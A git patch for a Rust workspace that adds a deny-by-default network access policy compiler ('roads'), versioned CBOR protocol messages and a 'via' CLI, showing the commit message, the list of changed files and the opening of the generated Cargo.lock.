From 38a2fea043f5c92a6ac2b957b0ee0afc4029cf96 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 07:55:38 +0100 Subject: [PATCH] [roads] The road model, validator, compiler and explain; proto's versioned CBOR messages; the via command Road files in Pensum's strict header subset (unknown keys are errors, random ids), the directory and device snapshots, deny-by-default compilation to one plan per device, explain from the compiler's own grants, CBOR envelope v1 with version-first refusals. Tests: the six mandatory ones (validation fixtures for every rule, revocation, the least-privilege property against an independent oracle, determinism with golden plans, explain, custom round-trip), QA's attack cases, the protocol and the CLI. --- Cargo.lock | 709 ++++++++++++++ Cargo.toml | 30 + crates/proto/Cargo.toml | 21 + crates/proto/src/lib.rs | 208 +++++ crates/proto/tests/jana-phone.digest | 1 + crates/proto/tests/roundtrip.rs | 248 +++++ crates/roads/Cargo.toml | 23 + crates/roads/src/compile.rs | 758 +++++++++++++++ crates/roads/src/explain.rs | 78 ++ crates/roads/src/header.rs | 464 ++++++++++ crates/roads/src/id.rs | 116 +++ crates/roads/src/ids.rs | 170 ++++ crates/roads/src/lib.rs | 30 + crates/roads/src/net.rs | 228 +++++ crates/roads/src/plan.rs | 164 ++++ crates/roads/src/ports.rs | 216 +++++ crates/roads/src/problem.rs | 85 ++ crates/roads/src/road.rs | 862 ++++++++++++++++++ crates/roads/src/rules.rs | 125 +++ crates/roads/src/snapshot.rs | 514 +++++++++++ crates/roads/src/store.rs | 161 ++++ crates/roads/tests/attacks.rs | 266 ++++++ crates/roads/tests/common/mod.rs | 151 +++ crates/roads/tests/custom.rs | 132 +++ crates/roads/tests/determinism.rs | 111 +++ crates/roads/tests/explain.rs | 148 +++ crates/roads/tests/fixtures/home/devices.json | 17 + .../roads/tests/fixtures/home/directory.json | 12 + .../fixtures/home/expected/friend-node.json | 51 ++ .../fixtures/home/expected/home-server.json | 186 ++++ .../fixtures/home/expected/jana-laptop.json | 49 + .../fixtures/home/expected/jana-phone.json | 49 + .../tests/fixtures/home/expected/mark-pc.json | 47 + .../fixtures/home/expected/petr-phone.json | 46 + .../tests/fixtures/home/expected/router.json | 46 + .../roads/7tq0mz-jana-photos-until-sunday.md | 10 + .../home/roads/c0z5wn-petr-exits-friend.md | 7 + .../home/roads/e5yj1s-steam-goes-direct.md | 8 + .../home/roads/h2x8vd-mark-home-lan.md | 7 + .../roads/k3f9q2-household-home-server.md | 8 + .../home/roads/m6v0hp-petr-git-expired.md | 8 + .../home/roads/p4n6rb-mark-pc-exits-home.md | 7 + .../home/roads/r8m2tg-router-home-server.md | 10 + .../home/roads/w9c3ke-mark-pc-kill-switch.md | 7 + .../home/roads/x1d7qa-router-imported.md | 17 + .../roads/tests/fixtures/invalid/expect.txt | 67 ++ .../invalid/roads/a00001-no-header.md | 2 + .../fixtures/invalid/roads/a00002-unclosed.md | 4 + .../fixtures/invalid/roads/a00003-anchor.md | 7 + .../fixtures/invalid/roads/a00004-colon.md | 7 + .../fixtures/invalid/roads/a00005-untill.md | 8 + .../invalid/roads/a00006-until-capital.md | 8 + .../invalid/roads/a00007-duplicate-until.md | 9 + .../invalid/roads/a00008-no-created.md | 6 + .../invalid/roads/a00009-ports-on-exit.md | 8 + .../invalid/roads/a00010-ports-scalar.md | 8 + .../fixtures/invalid/roads/a00011-bad-id.md | 7 + .../invalid/roads/a00012-id-mismatch.md | 7 + .../invalid/roads/a00014-verb-case.md | 7 + .../fixtures/invalid/roads/a00015-everyone.md | 7 + .../invalid/roads/a00016-mapped-ipv6.md | 7 + .../invalid/roads/a00017-subject-kind.md | 7 + .../fixtures/invalid/roads/a00018-nobody.md | 7 + .../invalid/roads/a00019-object-kind.md | 7 + .../invalid/roads/a00020-no-service.md | 7 + .../fixtures/invalid/roads/a00021-not-exit.md | 7 + .../invalid/roads/a00022-host-bits.md | 7 + .../fixtures/invalid/roads/a00023-unrouted.md | 7 + .../invalid/roads/a00024-half-internet.md | 7 + .../invalid/roads/a00025-naive-until.md | 8 + .../fixtures/invalid/roads/a00026-created.md | 7 + .../invalid/roads/a00027-port-zero.md | 8 + .../invalid/roads/a00028-empty-ports.md | 8 + .../invalid/roads/a00029-not-served.md | 8 + .../fixtures/invalid/roads/a00030-via-word.md | 8 + .../invalid/roads/a00031-via-unknown.md | 8 + .../invalid/roads/a00032-via-not-relay.md | 8 + .../invalid/roads/a00033-classic-yes.md | 8 + .../invalid/roads/a00034-classic-unsaid.md | 7 + .../invalid/roads/a00035-custom-no-raw.md | 6 + .../invalid/roads/a00036-raw-in-note.md | 10 + .../fixtures/invalid/roads/a00037-postup.md | 11 + .../fixtures/invalid/roads/a00038-expired.md | 8 + .../invalid/roads/a00039-eva-no-devices.md | 7 + .../fixtures/invalid/roads/a00040-self.md | 7 + .../invalid/roads/a00041-second-exit.md | 7 + .../invalid/roads/a00042-direct-public.md | 7 + .../invalid/roads/a00043-custom-object.md | 10 + .../fixtures/invalid/roads/a00044-tab.md | 7 + .../tests/fixtures/invalid/roads/bad_name.md | 7 + .../snapshots/address-in-route.devices.json | 17 + .../snapshots/address-loopback.devices.json | 17 + .../snapshots/address-twice.devices.json | 17 + .../invalid/snapshots/bad-key.devices.json | 17 + .../snapshots/bad-person-id.directory.json | 12 + .../snapshots/duplicate-key.devices.json | 17 + .../snapshots/duplicate-person.directory.json | 12 + .../snapshots/format-two.directory.json | 12 + .../snapshots/member-group.directory.json | 12 + .../snapshots/member-unknown.directory.json | 12 + .../snapshots/name-bidi.directory.json | 12 + .../snapshots/name-newline.devices.json | 17 + .../snapshots/name-newline.directory.json | 12 + .../snapshots/owner-unknown.devices.json | 17 + .../snapshots/route-host-bits.devices.json | 17 + .../snapshots/route-internet.devices.json | 17 + .../snapshots/route-link-local.devices.json | 17 + .../snapshots/route-overlap.devices.json | 17 + .../snapshots/service-host.devices.json | 17 + .../snapshots/service-no-ports.devices.json | 17 + .../snapshots/unknown-field.devices.json | 17 + .../snapshots/unknown-field.directory.json | 12 + crates/roads/tests/least_privilege.rs | 751 +++++++++++++++ crates/roads/tests/revocation.rs | 200 ++++ crates/roads/tests/validation.rs | 366 ++++++++ crates/via-cli/Cargo.toml | 25 + crates/via-cli/src/main.rs | 248 +++++ crates/via-cli/tests/cli.rs | 165 ++++ deny.toml | 33 + 119 files changed, 9123 insertions(+) create mode 100644 Cargo.lock create mode 100644 Cargo.toml create mode 100644 crates/proto/Cargo.toml create mode 100644 crates/proto/src/lib.rs create mode 100644 crates/proto/tests/jana-phone.digest create mode 100644 crates/proto/tests/roundtrip.rs create mode 100644 crates/roads/Cargo.toml create mode 100644 crates/roads/src/compile.rs create mode 100644 crates/roads/src/explain.rs create mode 100644 crates/roads/src/header.rs create mode 100644 crates/roads/src/id.rs create mode 100644 crates/roads/src/ids.rs create mode 100644 crates/roads/src/lib.rs create mode 100644 crates/roads/src/net.rs create mode 100644 crates/roads/src/plan.rs create mode 100644 crates/roads/src/ports.rs create mode 100644 crates/roads/src/problem.rs create mode 100644 crates/roads/src/road.rs create mode 100644 crates/roads/src/rules.rs create mode 100644 crates/roads/src/snapshot.rs create mode 100644 crates/roads/src/store.rs create mode 100644 crates/roads/tests/attacks.rs create mode 100644 crates/roads/tests/common/mod.rs create mode 100644 crates/roads/tests/custom.rs create mode 100644 crates/roads/tests/determinism.rs create mode 100644 crates/roads/tests/explain.rs create mode 100644 crates/roads/tests/fixtures/home/devices.json create mode 100644 crates/roads/tests/fixtures/home/directory.json create mode 100644 crates/roads/tests/fixtures/home/expected/friend-node.json create mode 100644 crates/roads/tests/fixtures/home/expected/home-server.json create mode 100644 crates/roads/tests/fixtures/home/expected/jana-laptop.json create mode 100644 crates/roads/tests/fixtures/home/expected/jana-phone.json create mode 100644 crates/roads/tests/fixtures/home/expected/mark-pc.json create mode 100644 crates/roads/tests/fixtures/home/expected/petr-phone.json create mode 100644 crates/roads/tests/fixtures/home/expected/router.json create mode 100644 crates/roads/tests/fixtures/home/roads/7tq0mz-jana-photos-until-sunday.md create mode 100644 crates/roads/tests/fixtures/home/roads/c0z5wn-petr-exits-friend.md create mode 100644 crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md create mode 100644 crates/roads/tests/fixtures/home/roads/h2x8vd-mark-home-lan.md create mode 100644 crates/roads/tests/fixtures/home/roads/k3f9q2-household-home-server.md create mode 100644 crates/roads/tests/fixtures/home/roads/m6v0hp-petr-git-expired.md create mode 100644 crates/roads/tests/fixtures/home/roads/p4n6rb-mark-pc-exits-home.md create mode 100644 crates/roads/tests/fixtures/home/roads/r8m2tg-router-home-server.md create mode 100644 crates/roads/tests/fixtures/home/roads/w9c3ke-mark-pc-kill-switch.md create mode 100644 crates/roads/tests/fixtures/home/roads/x1d7qa-router-imported.md create mode 100644 crates/roads/tests/fixtures/invalid/expect.txt create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00001-no-header.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00002-unclosed.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00003-anchor.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00004-colon.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00005-untill.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00006-until-capital.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00007-duplicate-until.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00008-no-created.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00009-ports-on-exit.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00010-ports-scalar.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00011-bad-id.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00012-id-mismatch.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00014-verb-case.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00015-everyone.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00016-mapped-ipv6.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00017-subject-kind.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00018-nobody.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00019-object-kind.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00020-no-service.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00021-not-exit.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00022-host-bits.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00023-unrouted.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00024-half-internet.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00025-naive-until.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00026-created.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00027-port-zero.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00028-empty-ports.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00029-not-served.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00030-via-word.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00031-via-unknown.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00032-via-not-relay.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00033-classic-yes.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00034-classic-unsaid.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00035-custom-no-raw.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00036-raw-in-note.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00037-postup.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00038-expired.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00039-eva-no-devices.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00040-self.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00041-second-exit.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00042-direct-public.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00043-custom-object.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00044-tab.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/bad_name.md create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/address-in-route.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/address-loopback.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/address-twice.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/bad-key.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/bad-person-id.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/duplicate-key.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/duplicate-person.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/format-two.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/member-group.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/member-unknown.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/name-bidi.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/name-newline.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/name-newline.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/owner-unknown.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/route-host-bits.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/route-internet.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/route-link-local.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/route-overlap.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/service-host.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/service-no-ports.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/unknown-field.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/unknown-field.directory.json create mode 100644 crates/roads/tests/least_privilege.rs create mode 100644 crates/roads/tests/revocation.rs create mode 100644 crates/roads/tests/validation.rs create mode 100644 crates/via-cli/Cargo.toml create mode 100644 crates/via-cli/src/main.rs create mode 100644 crates/via-cli/tests/cli.rs create mode 100644 deny.toml diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..bd130d4 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,709 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "bit-set" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56d87354e4229f54a44f7bf2435906a4656dba36026ab6eaca629a2c436a691c" +dependencies = [ + "bit-vec", +] + +[[package]] +name = "bit-vec" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72503af1e72be411d74ca45cd6b309878fcb35354e252fc2a3a8bda3a97082a0" +dependencies = [ + "borsh", + "serde", +] + +[[package]] +name = "bitflags" +version = "2.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "borsh" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "553c5d846a6ba5150c65e3b1b8ec073bcf1abc20f9b7220de384a4443ea4e20a" +dependencies = [ + "borsh-derive", + "bytes", + "cfg_aliases", +] + +[[package]] +name = "borsh-derive" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12cdfe656708a01f89b451a7d36466e6fe6c414de0aa18fc54f864f6f9ca9f56" +dependencies = [ + "once_cell", + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 3.0.10", +] + +[[package]] +name = "bytes" +version = "1.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "776dfebd015e2d8732c684a2c71003674ccb49457b539b9e82151ba38e96dd7c" + +[[package]] +name = "cfg-if" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7648175b45a9a48536d676f68d918270699102aa8dab5496df06904c914600" + +[[package]] +name = "cfg_aliases" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" + +[[package]] +name = "chacha20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.1", + "rand_core", +] + +[[package]] +name = "ciborium" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42e69ffd6f0917f5c029256a24d0161db17cea3997d185db0d35926308770f0e" +dependencies = [ + "ciborium-io", + "ciborium-ll", + "serde", +] + +[[package]] +name = "ciborium-io" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05afea1e0a06c9be33d539b876f1ce3692f4afea2cb41f740e7743225ed1c757" + +[[package]] +name = "ciborium-ll" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57663b653d948a338bfb3eeba9bb2fd5fcfaecb9e199e87e1eda4d9e8b240fd9" +dependencies = [ + "ciborium-io", + "half", +] + +[[package]] +name = "core_detect" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f8f80099a98041a3d1622845c271458a2d73e688351bf3cb999266764b81d48" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca28b0ae3115b884660db4118d803791fd6756b6e88f39c0f3f7859060d7566" +dependencies = [ + "libc", +] + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "equivalent" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00d174d5400e5e8fd687ad1049e2f578285fa914201b1af7e8b112a4546bd826" + +[[package]] +name = "errno" +version = "0.3.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e35d6e78f4cebb90e51d543db8fe41528851d6deeef6ef21ebd4bfdc1e784776" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "rand_core", +] + +[[package]] +name = "half" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ea2d84b969582b4b1864a92dc5d27cd2b77b622a8d79306834f1be5ba20d84b" +dependencies = [ + "cfg-if", + "crunchy", + "zerocopy", +] + +[[package]] +name = "hashbrown" +version = "0.17.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "735eaa21a6a5ffb2e84362faaeb90c05ba8e19797ca30428478cb6ea3a4921bc" + +[[package]] +name = "indexmap" +version = "2.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc4e190f5d26ca7051642629da2c52fc03bde85a03197c99408dcd291734c855" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "ipnet" +version = "2.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "791930b43c0d5973160d90a8f3894509f2b273430f5c5c73b668636d0287c5c0" + +[[package]] +name = "itoa" +version = "1.0.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3bd1574e617a9a6c1f8f8181bd7e841e1f20e4277607ef28945765188d6284d4" + +[[package]] +name = "jiff" +version = "0.2.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175dc66334db3b9ab9985bf8b61cfed50dc16d20964bb47f9e479adcae984a7f" +dependencies = [ + "jiff-core", + "jiff-static", + "log", + "portable-atomic", + "portable-atomic-util", + "serde_core", +] + +[[package]] +name = "jiff-core" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e599b80292e597019b8b3e392de3f4bea2959ddfb8c7dff60e035e9e311a2c1b" +dependencies = [ + "log", +] + +[[package]] +name = "jiff-static" +version = "0.2.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7b1af7547d47354bc438d797e3854601bde8f8d185780c5ba4ab27afa54f1ba" +dependencies = [ + "jiff-core", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "libc" +version = "0.2.191" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65cd87c9a6d60536580b316ad985726104730a5151c99845f2490428ef91240a" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "log" +version = "0.4.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d15f86d12da44cd8d4ec3c73984537eb7f4cadcb9776a575a0a8a05ca11005c" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "portable-atomic" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05c8b63e8d9609db387f0324918f81d68fe27748f084ef092fb35954d0539a85" + +[[package]] +name = "portable-atomic-util" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10ab3eb7f3becc3a1cbc4f2c6f20267996cfc1a6467a873763411b136a122715" +dependencies = [ + "portable-atomic", +] + +[[package]] +name = "proc-macro-crate" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e67ba7e9b2b56446f1d419b1d807906278ffa1a658a8a5d8a39dcb1f5a78614f" +dependencies = [ + "toml_edit", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "proptest" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8530004ccb15eae51c7e40009fbe317f341f804db54dc033eec1c50be28cfa0" +dependencies = [ + "bit-set", + "bit-vec", + "bitflags", + "chacha20", + "core_detect", + "num-traits", + "rand", + "rand_xorshift", + "regex-syntax", + "rusty-fork", + "tempfile", + "unarray", +] + +[[package]] +name = "proto" +version = "0.1.0" +dependencies = [ + "ciborium", + "jiff", + "roads", + "serde", + "sha2", +] + +[[package]] +name = "quick-error" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f6fa277c67e6ea590466f04c3fe82cb509f0864fe470643e5570de9514a9b11" +dependencies = [ + "getrandom", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" + +[[package]] +name = "rand_xorshift" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60aa6af80be32871323012e02e6e65f8a7cc7890931ae421d217ad8fe0df2ccf" +dependencies = [ + "rand_core", +] + +[[package]] +name = "regex-syntax" +version = "0.8.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d902046e6a28a1e4c3cab97258a0ce11e994903f01c2d97a9447a0b3df85f4f6" + +[[package]] +name = "roads" +version = "0.1.0" +dependencies = [ + "base64", + "ipnet", + "jiff", + "proptest", + "serde", + "serde_json", + "tempfile", +] + +[[package]] +name = "rustix" +version = "1.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5e76742e5294153d4dde1207dbec5bdd81eef6fabdc0d2118babadabfd858aa" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys", +] + +[[package]] +name = "rusty-fork" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc6bf79ff24e648f6da1f8d1f011e9cac26491b619e6b9280f2b47f1774e6ee2" +dependencies = [ + "fnv", + "quick-error", + "tempfile", + "wait-timeout", +] + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.10", +] + +[[package]] +name = "serde_json" +version = "1.0.154" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7e9cc8b1b85264074fbcc02a88680c4096b1e47df8f739dceb03bf482f04bd6" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "digest", +] + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ae9ccbea3a7b0b09443036490c8f34a8b1b760fd345e5c0dae0aac718faea79" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom", + "once_cell", + "rustix", + "windows-sys", +] + +[[package]] +name = "toml_datetime" +version = "1.1.3+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "173f25c883cd2176a2d8212155638c0a60d484a9d84546d270866f40f56b6e49" +dependencies = [ + "serde_core", +] + 